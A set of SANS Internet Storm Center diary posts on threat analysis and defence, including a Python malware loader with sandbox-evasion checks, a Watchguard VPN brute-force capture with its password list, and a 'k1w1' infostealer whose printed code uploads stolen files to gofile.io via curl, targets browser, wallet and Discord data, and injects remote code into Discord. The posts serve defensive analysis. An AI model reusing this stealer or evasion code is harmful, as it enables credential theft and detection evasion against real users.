Google	https://support.google.com/product-documentation/answer/14869041?hl=en
Lenovo	https://www.lenovo.com/us/outletus/en/compliance/uk-psti-soc/
Linksys	https://downloads.linksys.com/support/assets/others/UK_PTSI_Statement_of_Compliance_w_products.pdf
Motorola	https://en-gb.support.motorola.com/app/answers/detail/a_id/178271/~/uk-psti
Netgear	https://kb.netgear.com/000066102/UK-PSTI-Declaration-of-Conformity
Philips	https://www.documents.philips.com/assets/UK%20Declaration%20of%20Conformity/20240530/78360cfd353b45bd944eb180001d9832.pdf
Samsung	https://news.samsung.com/uk/notice-new-uk-product-security-and-telecommunications-infrastructure-psti-law
TP-Link	https://www.tp-link.com/uk/support/psti/

 

Please let me know if you know of a better database that lists the compliance statements. For example, I could not find one for Ubiquity (Unifi). However, I believe they are still using the default password "ubnt" which puts them out of compliance.

I recommend labeling new devices with the purchase date and the end of support date as you receive them. The purchase date is good to have handy for warranty purposes, and the end of support date is important to know when you will have to replace the device.

[1] https://www.gov.uk/government/publications/the-uk-product-security-and-telecommunications-infrastructure-product-security-regime
 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

When you buy some fresh food, it's always a good idea to keep an eye on the best-before date. I found a funny piece of malicious Python script that implements the same technique. It will execute only before a specified date (Jun 10th in this case). The script purpose is classic: it will fetch a payload from a remote site, inject it in memory and start a new thread. Such payload are usually related to CobaltStike. I think that the script is still being developed and the attacker tested its score on VT because the payload is fetched from an RFC1918 IP address.

I won't cover the code injection part because it's super common: 

1. Allocate some memory with VirtualAlloc() and 0x40 (PAGE_EXECUTE_READWRITE)
2. Copy the payload in the newly allocated memory with RtlMoveMemory()
3. Launch if with CreateThread() and WaitForSingleObject()

The most interesting part is related to the anti-VM and anti-debugging techniques. The script implements multiple checks.

First, as said in the title, it has an expiration date and won't detonate after it:

YLtsrDkSMJIUX = datetime.now()
tOyPJeSBB = datetime.strptime("24-06-10","%y-%m-%d") 
if YLtsrDkSMJIUX < tOyPJeSBB:

Then, it detects if a user is using the mouse:

sPrMcMrd = 0
ZSAdShMGbnjn = 300
while sPrMcMrd < ZSAdShMGbnjn:
    lhCIIwcaO = win32api.GetAsyncKeyState(1)
    PUlVQpUUGQwz = win32api.GetAsyncKeyState(2)
    if lhCIIwcaO % 2 == 1:
        sPrMcMrd += 1
    if PUlVQpUUGQwz % 2 == 1:
        sPrMcMrd += 1
if sPrMcMrd >= ZSAdShMGbnjn:

GetAsyncKeyState() is used to detect if the user presses some keys but this API call can do more. If you pass the keycodes 0x01 or 0x02, you will test if, respectively, the left and right mouse button is used[1].

Then,  it detects if the mouse is moving:

SJlEvm, OsmSmAnVBYAbB = win32api.GetCursorPos()
sleep(30)
mCBvRLEZPc, FTIUWfDRINwDu = win32api.GetCursorPos()
if SJlEvm - mCBvRLEZPc != 0 or OsmSmAnVBYAbB - FTIUWfDRINwDu != 0:

Why checling the mouse position if we already detected a "click"? Some old sandboxes just move the mouse or simulate click but not both. 

The system timezone is also checked:

import time as eJXueV
if eJXueV.tzname[0] != "Coordinated Universal Time" and eJXueV.tzname[1] != "Coordinated Universal Time":

Finally, some sandboxes manipulate the system clock. For bypass this, the script tests the time via NTP:

client = socket.socket(AF_INET, SOCK_DGRAM)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
trdooQNWRx = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
sleep(1500)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - trdooQNWRx).seconds >= 1500):

If all these conditions are met, the payload is fetched and injected in memory.

To fetch the payload, a random 4-characters string is added as URI:

def uwvPCLCq(s): return sum([ord(ch) for ch in s]) % 0x100
def eZXAAmANKYtzQ():
    for x in range(64):
         afeookOu = ''.join(random.sample(string.ascii_letters + string.digits,3))
         wOozSRtIoWO = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
         for BuJqgEjrd in wOozSRtIoWO:
             if uwvPCLCq(afeookOu + BuJqgEjrd) == 92: return afeookOu + BuJqgEjrd

Here is an example:

>>> eZXAAmANKYtzQ()
'9XuV'
>>> eZXAAmANKYtzQ()
'NOpO'
>>> eZXAAmANKYtzQ()
'ETqR'

This looks exactly like a default CobaltStrike beacon! The script has currently a score of 12/71 on VT (SHA256: eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f[2])

[1] https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
[2] https://www.virustotal.com/gui/file/eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

If you have a pulse and work in information security (or are a new scraping script without a pulse), you have probably seen reports of attacks against VPN endpoints. Running any VPN without strong authentication has been negligent for years, but in recent times, ransomware gangs, in particular, picked them off pretty quickly.

One of our honeypots just saw an attacker move through, attempting to brute force a Watchguard firewall VPN. I haven't seen much written about Watchguard lately, so I figured this may be a good reminder. The requests I was seeing against one honeypot in particular:

 

POST /wgcgi.cgi HTTP/1.1\
Host: [honeypot IP address redacted]:4443
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

fw_username=robert&fw_password=123456a%21&submit=Login&action=sslvpn_web_logon&fw_logon_type=logon&lang=en-US

Note the bare-bones headers without a user agent, suggesting a simple script to be used for these attacks.

The main source of these attacks so far has been %%ip:185.122.204.102%%. In February, this IP address hit a couple of other URLs, such as login.

Interestingly, so far, I have seen only two usernames being used: "jason" and "robert". Not sure why this is significant.

The list of passwords is a bit longer:
 

1
123%40secure
123456
1234567
123456a%21
1qazxsw23edc%21
%24ecure%40123
32Yp6jan
456%40%23pass%40
admin
Admin1234
admin2
Admin%4012345
ASDqwe%40123
itsupport
letmein
P%40ss0wrd
P%40ss1234
P%40ssw0rd
P%40ssw0rd12345
P%40ssw0rduser1
P%40zzw0rd%21123
Pa%24%24word%231
Pa55word
pass2828
password
Password01%21
password4321
qweasdzxc
sslvpn
sslvpnuser
Test123%21
vpn%40dmin
VPNgrp
Welcome123%21
Welcome2020%21
Welcome2%2B

You may want to block the use of any of these passwords and add them to your brute force list.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Recently I was made aware of a neat utility (https://github.com/es3n1n/no-defender/) which provides the capability to disable Windows Defender by abusing the WSC (Windows Security Center) registration that other AV and EDR providers utilize to become the main provider on systems, mostly to avoid conflict with Windows Defender.

It does this by abusing the middle-man WSC proxy app Avast bundles with their software, which provides access to the necessary WSC APIs for registration, and registers itself as an fraudulent AV provider, forcing Defender to step down (periodic scanning will still function if enabled manually).

As with all utilities that have the potential to aid in defense evasion, this will eventually make the rounds with active threat groups, until it is deemed obsolete or no longer viable.

To detect usage of this or similar tools, monitoring the “SecurityCenter” Windows event log for event ID 15 is ideal. This can help identify if an unwanted application registered and enabled itself as a security provider in place of Defender.

Figure 1: Triggered Event

Additionally, blocking the Avast signing certificate through an AppLocker publisher rule could also help hinder use of the tool.

At the time of writing, EDR and AV vendors are picking up on this quickly, as evidenced by the threat label in VirusTotal and the increasing detection count.

Figure 3: No-defender Loader detection [2]

Figure 4: No-defender Detection[3]

Also included is a Yara rule to detect the Avast WSC Proxy components. Hash rules may be sufficient, but older versions of the components may also be equally vulnerable to abuse.

Yara Rule

import "pe"

rule nodefender_avastwsc
{
   meta:
      description = "Avast wsc proxy components used by no-defender"
  hash = "79e53d36a40951ab328e153bac9c1e3adf3330b45899345e645889b9046f06e0"
  hash = "de820b5e592cf456f6a4f8356195c4a335a51c6354ca7ac32ccd390e62d9becc"
   strings:
        $a1 = "Avast Software s.r.o" nocase
  $a2 = "Cannot enable RPC marshaling into service when Avast client integration is not set" nocase
  $a3 = {77 00 73 00 63 00 2E 00 64 00 6C 00 6C 00 00 00 72 75 6E}
  $a4 = "BUILDS\\Release\\x64\\wsc_proxy.pdb" nocase
  $s1 = {09 02 B3 6B 32 51 C3 28 08 3F 77 7C A0 84 28 FF}
  $s2 = {03 F0 2A CA 05 1D 1C 93 30 EE AB D3 70 6E 83 6F}
   condition:
      uint16(0) == 0x5a4d
      and $a1 and ($s1 or $s2) and ($a2 or $a3 or $a4)
      and for any i in (0 .. pe.number_of_signatures) : (
         (pe.signatures[i].issuer contains "DigiCert High Assurance Code Signing CA-1"
 or pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1")
 and pe.signatures[i].subject contains "Avast"
      )
}

References:

[1] https://github.com/es3n1n/no-defender
[2] https://www.virustotal.com/gui/file/f4652a2073f72a1fc64dfc08a3a56c258f30cc4737ab9feefb602d54ec4c68b5
[3] https://www.virustotal.com/gui/file/54fc10e6f2675adb1e712ab7afd0d8e1a561b0fbebc7aa0d3fcf90c09a9597a6
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I developed a Wireshark dissector in Lua to parse binary protocols (over TCP) that are composed of fields with fixed lengths. I got this idea while taking a SANS ICS training: for protocol reversing, it would be useful to have a dissector where I can configure the fields (length, type, name, ...).

As an example, I'm using a packet capture of a demo protocol for firmware upload (didactic).

The format of the protocol data unit (PDU) looks like this:

• Byte 1: the function of the PDU (0x10 start upload, 0x11 upload, 0x12 end upload)
• Byte 2: the direction (0 from client to server, 1 from server to client)
• Byte 3 and 4: a PDU counter for uploads, it's a little-endian integer
• Byte 5 and 6: the length of the uploaded data, it's a little-endian integer
• Bytes 7 and following: the uploaded data

Command-line arguments are provided to configure the Lua dissector to parse this traffic:

"c:\Program Files\Wireshark\Wireshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:port:50500 -X lua_script1:protocolname:firmware -X lua_script1:fieldlengths:1:B,1:B,2:L,2:L -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data capture-firmware-upload.pcapng

"-X lua_script:fl-dissector.lua" loads dissector fl-dissector.lua in Wireshark.

"-X lua_script1:port:50500" provides a port:50500 option value to the dissector. This specifies the TCP port (50500) of the traffic that should be dissected.

"-X lua_script1:protocolname:firmware" specifies the name of the protocol.

"-X lua_script1:fieldlengths:1:B,1:B,2:L,2:L" specifies the field lengths: 1 byte, 1 byte, 2 bytes and 2 bytes. The 2 bytes fields are little-endian integers (:L).

"-X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data" specifies the names of the fields.

Configured like this, the protocol "firmware" is added to Wireshark and used for dissecting traffic over TCP port 50500:

Once the dissector is defined, it can be used to filter traffic. For example, in the above screenshot, I use display filter "firmware" to limit the view to this firmware protocol.

I can even use tshark to extract the uploaded firmware. For this, I switch to tshark:

"c:\Program Files\Wireshark\tshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:protocolname:firmware -X lua_script1:port:50500 -X lua_script1:fieldlengths:1,1,2,2 -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data -r capture-firmware-upload.pcapng -Y "(firmware.Function == 0x11) && (firmware.Direction == 0)" -e firmware.Data -Tfields

The arguments for the dissector are the same. I use a display filter (-Y "(firmware.Function == 0x11) && (firmware.Direction == 0)") to filter for PDUs that upload the firmware (function == 0x11) to the server (direction == 0). I configure tshark to just output the value of field data as hexadecimal (-e firmware.Data -Tfields). This is the result:

Next, I convert this hexadecimal data to binary with my tool hex-to-bin.py, and use another tool (file-magic.py) to try to identify the uploaded data:

It is a ZIP file, this can be confirmed with my zipdump.py tool:

I created this packet capture file of a firmware upload to an IoT device for didactic purposes, e.g., to explain a process of reverse engineering a binary network protocol.

If you want to know more about this, take a look at my blog post "Reversing A Network Protocol" and YouTube video "Reversing A Network Protocol".

YouTube Video

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Python remains a nice language for attackers and I keep finding interesting scripts that are usually not very well detected by antivirus solutions. The one I found has a VT score of 7/65! (SHA256:a6230d4d00a9d8ecaf5133b02d9b61fe78283ac4826a8346b72b4482d9aab54c[1]). I decided to call it "k1w1" infostealer because this string is referenced in many variable and function names. The script has classic infostealer capabilities to find interesting pieces of data on the victim's computer but has some interesting techniques. 

First, it uses gofile.io to exfiltrate data:

try:gofileserver = loads(urlopen("https://api.gofile.io/getServer").read().decode('utf-8'))["data"]["server"]
except:gofileserver = "store4"

gofile.io is a popular online storage management[2]. Collected data are uploaded:

def UP104D7060F113(path):
    try:
        r = subprocess.Popen(f"curl -F \"file=@{path}\" https://{gofileserver}.gofile.io/uploadFile", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
        return loads(r[0].decode('utf-8'))["data"]["downloadPage"]
    except: return False

gofile.io provides guest access with sufficient capabilities to upload files and keep them available for a few days. Once uploaded a download link is returned in JSON data. All links are shared on a Discord channel.

Besides the classic information, this infostealer also searches for "keywords" in the victim's files from common directories:

def K1W1():
    user = temp.split("\AppData")[0]
    path2search = [
        user    + "/Desktop",
        user    + "/Downloads",
        user    + "/Documents",
        roaming + "/Microsoft/Windows/Recent",
    ]

    key_wordsFiles = [
        "passw",
        "mdp",
        "motdepasse",
        "mot_de_passe",
        "login",
        "secret",
        "bot",
        "atomic",
        "account",
        "acount",
        "paypal",
        "banque",
        "bot",
        "metamask",
        "wallet",
        "crypto",
        "exodus",
        "discord",
        "2fa",
        "code",
        "memo",
        "compte",
        "token",
        "backup",
        "secret",
        "seed",
        "mnemonic"
        "memoric",
        "private",
        "key",
        "passphrase",
        "pass",
        "phrase",
        "steal",
        "bank",
        "info",
        "casino",
        "prv",
        "privé",
        "prive",
        "telegram",
        "identifiant",
        "personnel",
        "trading"
        "bitcoin",
        "sauvegarde",
        "funds",
        "récupé",
        "recup",
        "note",
    ]

    wikith = []
    for patt in path2search: 
        kiwi = threading.Thread(target=K1W1F113, args=[patt, key_wordsFiles])
        kiwi.start()
        wikith.append(kiwi)
    return wikith

You can see many French keywords. We can assume that the script targets French-speaking victims.

Classic applications are targeted:

   br0W53rP47H5 = [    
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Beta/User Data",                   "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Dev/User Data",                    "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Unstable/User Data",               "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Canary/User Data",                 "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",        "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Vivaldi/User Data",                              "vivaldi.exe",      "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserCanary/User Data",           "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserDeveloper/User Data",        "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserBeta/User Data",             "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserTech/User Data",             "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserSxS/User Data",              "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",         "/Default/Local Storage/leveldb",   "/Default",      "/Default/Network",     "/Default/Local Extension Settings/"              ]
    ]
    d15C0rDP47H5 = [
        [f"{roaming}/discord",          "/Local Storage/leveldb"],
        [f"{roaming}/Lightcord",        "/Local Storage/leveldb"],
        [f"{roaming}/discordcanary",    "/Local Storage/leveldb"],
        [f"{roaming}/discordptb",       "/Local Storage/leveldb"],
    ]

    p47H570Z1P = [
        [f"{roaming}/atomic/Local Storage/leveldb",                             "Atomic Wallet.exe",        "Wallet"        ],
        [f"{roaming}/Guarda/Local Storage/leveldb",                             "Guarda.exe",               "Wallet"        ],
        [f"{roaming}/Zcash",                                                    "Zcash.exe",                "Wallet"        ],
        [f"{roaming}/Armory",                                                   "Armory.exe",               "Wallet"        ],
        [f"{roaming}/bytecoin",                                                 "bytecoin.exe",             "Wallet"        ],
        [f"{roaming}/Exodus/exodus.wallet",                                     "Exodus.exe",               "Wallet"        ],
        [f"{roaming}/Binance/Local Storage/leveldb",                            "Binance.exe",              "Wallet"        ],
        [f"{roaming}/com.liberty.jaxx/IndexedDB/file__0.indexeddb.leveldb",     "Jaxx.exe",                 "Wallet"        ],
        [f"{roaming}/Electrum/wallets",                                         "Electrum.exe",             "Wallet"        ],
        [f"{roaming}/Coinomi/Coinomi/wallets",                                  "Coinomi.exe",              "Wallet"        ],
        ["C:\Program Files (x86)\Steam\config",                                 "steam.exe",                "Steam"         ],
        [f"{local}/Riot Games/Riot Client/Data",                                "RiotClientServices.exe",   "RiotClient"    ],
    ]
    t3136r4M = [f"{roaming}/Telegram Desktop/tdata", 'Telegram.exe', "Telegram"]

If found also some injection in Discord files:

def inj3c710n():

    username = os.getlogin()

    folder_list = ['Discord', 'DiscordCanary', 'DiscordPTB', 'DiscordDevelopment']

    for folder_name in folder_list:
        deneme_path = os.path.join(os.getenv('LOCALAPPDATA'), folder_name)
        if os.path.isdir(deneme_path):
            for subdir, dirs, files in os.walk(deneme_path):
                if 'app-' in subdir:
                    for dir in dirs:
                        if 'modules' in dir:
                            module_path = os.path.join(subdir, dir)
                            for subsubdir, subdirs, subfiles in os.walk(module_path):
                                if 'discord_desktop_core-' in subsubdir:
                                    for subsubsubdir, subsubdirs, subsubfiles in os.walk(subsubdir):
                                        if 'discord_desktop_core' in subsubsubdir:
                                            for file in subsubfiles:
                                                if file == 'index.js':
                                                    file_path = os.path.join(subsubsubdir, file)
                                                    injeCTmED0cT0r_cont = requests.get(inj3c710n_url).text
                                                    injeCTmED0cT0r_cont = injeCTmED0cT0r_cont.replace("%WEBHOOK%", h00k)
                                                    with open(file_path, "w", encoding="utf-8") as index_file:
                                                        index_file.write(injeCTmED0cT0r_cont)

The script has also classic evasion techniques based on VM, IP address, and suspicious processes detection. Many wallets are also targeted:

w411375 = [
    ["nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask"         ],
    ["ejbalbakoplchlghecdalmeeeajnimhm", "Metamask"         ],
    ["fhbohimaelbohpjbbldcngcnapndodjp", "Binance"          ],
    ["hnfanknocfeofbddgcijnmhnfnkdnaad", "Coinbase"         ],
    ["fnjhmkhhmkbjkkabndcnnogagogbneec", "Ronin"            ],
    ["egjidjbpglichdcondbcbdnbeeppgdph", "Trust"            ],
    ["ojggmchlghnjlapmfbnjholfjkiidbch", "Venom"            ],
    ["opcgpfmipidbgpenhmajoajpbobppdil", "Sui"              ],
    ["efbglgofoippbgcjepnhiblaibcnclgk", "Martian"          ],
    ["ibnejdfjmmkpcnlpebklmnkoeoihofec", "Tron"             ],
    ["ejjladinnckdgjemekebdpeokbikhfci", "Petra"            ],
    ["phkbamefinggmakgklpkljjmgibohnba", "Pontem"           ],
    ["ebfidpplhabeedpnhjnobghokpiioolj", "Fewcha"           ],
    ["afbcbjpbpfadlkmhmclhkeeodmamcflc", "Math"             ],
    ["aeachknmefphepccionboohckonoeemg", "Coin98"           ],
    ["bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"    ],
    ["aholpfdialjgjfhomihkjbmgjidlcdno", "ExodusWeb3"       ],
    ["bfnaelmomeimhlpmgjnjophhpkkoljpa", "Phantom"          ],
    ["agoakfejjabomempkjlepdflaleeobhb", "Core"             ],
    ["mfgccjchihfkkindfppnaooecgfneiii", "Tokenpocket"      ],
    ["lgmpcpglpngdoalbgeoldeajfclnhafa", "Safepal"          ],
    ["bhhhlbepdkbapadjdnnojkbgioiodbic", "Solfare"          ],
    ["jblndlipeogpafnldhgmapagcccfchpi", "Kaikas"           ],
    ["kncchdigobghenbbaddojjnnaogfppfj", "iWallet"          ],
    ["ffnbelfdoeiohenkjibnmadjiehjhajb", "Yoroi"            ],
    ["hpglfhgfnhbgpjdenjgmdgoeiappafln", "Guarda"           ],
    ["cjelfplplebdjjenllpjcblmjkfcffne", "Jaxx Liberty"     ],
    ["amkmjjmmflddogmhpjloimipbofnfjih", "Wombat"           ],
    ["fhilaheimglignddkjgofkcbgekhenbh", "Oxygen"           ],
    ["nlbmnnijcnlegkjjpcfjclmcfggfefdm", "MEWCX"            ],
    ["nanjmdknhkinifnkgdcggcfnhdaammmj", "Guild"            ],
    ["nkddgncdjgjfcddamfgcmfnlhccnimig", "Saturn"           ], 
    ["aiifbnbfobpmeekipheeijimdpnlpgpp", "TerraStation"     ],
    ["fnnegphlobjdpkhecapkijjdkgcjhkib", "HarmonyOutdated"  ],
    ["cgeeodpfagjceefieflmdfphplkenlfk", "Ever"             ],
    ["pdadjkfkgcafgbceimcpbkalnfnepbnk", "KardiaChain"      ],
    ["mgffkfbidihjpoaomajlbgchddlicgpn", "PaliWallet"       ],
    ["aodkkagnadcbobfpggfnjeongemjbjca", "BoltX"            ],
    ["kpfopkelmapcoipemfendmdcghnegimn", "Liquality"        ],
    ["hmeobnfnfcmdkdcmlblgagmfpfboieaf", "XDEFI"            ],
    ["lpfcbjknijpeeillifnkikgncikgfhdo", "Nami"             ],
    ["dngmlblcodfobpdpecaadgfbcggfjfnm", "MaiarDEFI"        ],
    ["ookjlbkiijinhpmnjffcofjonbfbgaoc", "TempleTezos"      ],
    ["eigblbgjknlfbajkfhopmcojidlgcehm", "XMR.PT"           ],
]

[1] https://www.virustotal.com/gui/file/a6230d4d00a9d8ecaf5133b02d9b61fe78283ac4826a8346b72b4482d9aab54c
[2] https://gofile.io/welcome

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I'm a big fan of OSSEC[1] for years. OSSEC ("Open Source Security Event Correlator") is a comprehensive, open-source host-based intrusion detection system (HIDS). It is designed to monitor and analyze system logs, detect suspicious activities, and provide real-time alerts for security incidents. OSSEC can perform log analysis, file integrity monitoring, rootkit detection, and active response to mitigate threats. It supports various platforms including Linux, Windows, and macOS, and can be integrated with various security tools and SIEM solutions. I already wrote some diaries about it in the past[2]. I'm running my instance on all my servers, I made some contributions to the project. 

One of the features I like most is "Active-Response". It allows us to automatically take predefined actions in response to detected security events or threats. When a specific rule is triggered, OSSEC can execute scripts or commands to mitigate the threat, such as blocking an IP address, disabling a user account, or restarting a service. This feature enhances the system's security by providing real-time, automated reactions to potential intrusions or malicious activities, reducing the window of opportunity for attackers to exploit vulnerabilities.

Being a big fan of MISP[3], making them talk together to improve our detection capabilities is a great improvement. Most of my OSSEC agents are installed on many servers facing the Internet and get scanned/visited/flooded by thousands of malicious requests. The default Active-Response enabled in OSSEC is to temporarily block offending addresses to slow down attackers (for example, brute-force attacks). These addresses are also interesting for multiple reasons:

1. If one host is attacked, the same IP address could be blocked on all servers

2. The IP address could be shared with peers (it's an interesting IOC - Indicator of Compromise))

3. We can track if the same IP address is coming back regularly

I wrote an Active-Response script that, if conditions are met, will submit offending IP addresses to a MISP instance. How does it work?

First, you need to configure a new Active-Response config:

<active-response>
  <disabled>no</disabled>
  <command>ossec2misp</command>
  <location>server</location>
  <rules_id>100213,100201,31509</rules_id>
</active-response>

The most important parameter is the list of rules that will trigger the active response. By example, my rule 31509 detects Wordpress login brute-force attacks:

<!-- WordPress wp-login.php brute force -->
  <rule id="31509" level="3">
    <if_sid>31108</if_sid>
    <url>wp-login.php|/administrator</url>
    <regex>] "POST \S+wp-login.php| "POST /administrator</regex>
    <description>CMS (WordPress or Joomla) login attempt.</description>
</rule>

When the alert triggers, the OSSEC server will execute the command called "ossec2misp":

<command>
  <name>ossec2misp</name>
  <executable>ossec2misp.py</executable>
  <expect>srcip</expect>
  <timeout_allowed>no</timeout_allowed>
</command>

The command will call my Python script located in your Active-Response scripts repository (usually $OSSEC_HOME/active-response/bin/). The script can be configured, most options are self-explaining:

misp_url          = "https://misp.domain.tld"
misp_key          = "<redacted>"
misp_verifycert   = True
misp_info         = "OSSEC ActiveResponse"      # Event title
misp_last         = "30d"                       # Max period to search for IP address
misp_new_event    = False                       # Force the creation of a new event for every report
misp_distribution = 0                           # The distribution setting used for the newly created event, if relevant. [0-3]
misp_analysis     = 1                           # The analysis level of the newly created event, if applicable. [0-2]
misp_threat       = 3                           # The threat level ID of the newly created event, if applicable. [1-4]
misp_tags         = [ "source:OSSEC" ]          # Tags for the newly created event, if applicable
misp_publish      = True                        # Automatically puslish the event
syslog_server     = "192.168.1.1"               # If defined, enable syslog logging
redis_server      = "redis"                     # Redis server hostname/ip
redis_port        = 6379                        # Redis server port
redis_db          = 0                           # Redis server db

The Redis server is used to prevent the MISP server from being flooded by API requests. Once an IP has been detected, it is stored in Redis for 1h.

When an offending IP address is already present in MISP, the script will add a "sighting" to it. The purpose of "sighting" is to provide feedback on the usage and relevance of the IP address within the platform. This helps in verifying the prevalence and impact of the IOC, enhances collaborative threat intelligence by validating data, and assists in prioritizing IP addresses based on their sightings frequency and relevance.

Here is an example of an OSSEC event:

My script is available in my Github repo[4]. Comments, improvements or ideas are welcome!

[1] https://ossec.net/
[2] https://isc.sans.edu/search.html?q=ossec&token=&Search=Search
[3] https://www.misp-project.org
[4] https://github.com/xme/ossec/blob/main/ossec2misp.py

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

[This is a Guest Diary by Joshua Jobe, an ISC intern as part of the SANS.edu BACS program]

Introduction

Upon starting the Internship in January 2024, I wondered how I was going to tackle analyzing all the logs, how to parse and understand JSON files, and make sense of the plethora of details to even try to make an attack observation.  Where do the files go, how do we correlate the filenames with the hashes, what’s the deal with webhoneypot logs?  During the Introductory Call, Mentor Handler, Guy Bruneau, mentioned the DShield SIEM [1] he has been working on for everyone to use to enhance the internship experience.  I felt this was the perfect opportunity to build something that will assist with correlating the ‘attacks’ on the sensors by ingesting the logs into a SIEM.  This is especially useful for those that want to see the details in a way that is more organized and easier to extrapolate data.  However, simply reviewing activity in the SIEM may not always be enough to build a complete picture for an attack observation.  Likewise, simply parsing through the logs may not always give you a complete picture either.

This blog post will walk through the steps I have taken to build a bigger picture to make an attack observation, briefly going over various attacks such as malicious files, HTTP requests, Cowrie/Webhoneypot JSON logs and PCAPs.

Where to Start

After initially setting up the DShield Honeypot (sensor), it will inevitably take 2-3 weeks or more to begin seeing attacks, especially any that may involve uploading/downloading files.  Be patient.  Interesting IP addresses, files, URLs, TTY logs, etc. will show up.  It is imperative that you follow the instructions to properly expose your sensor or sensors to the internet.
 
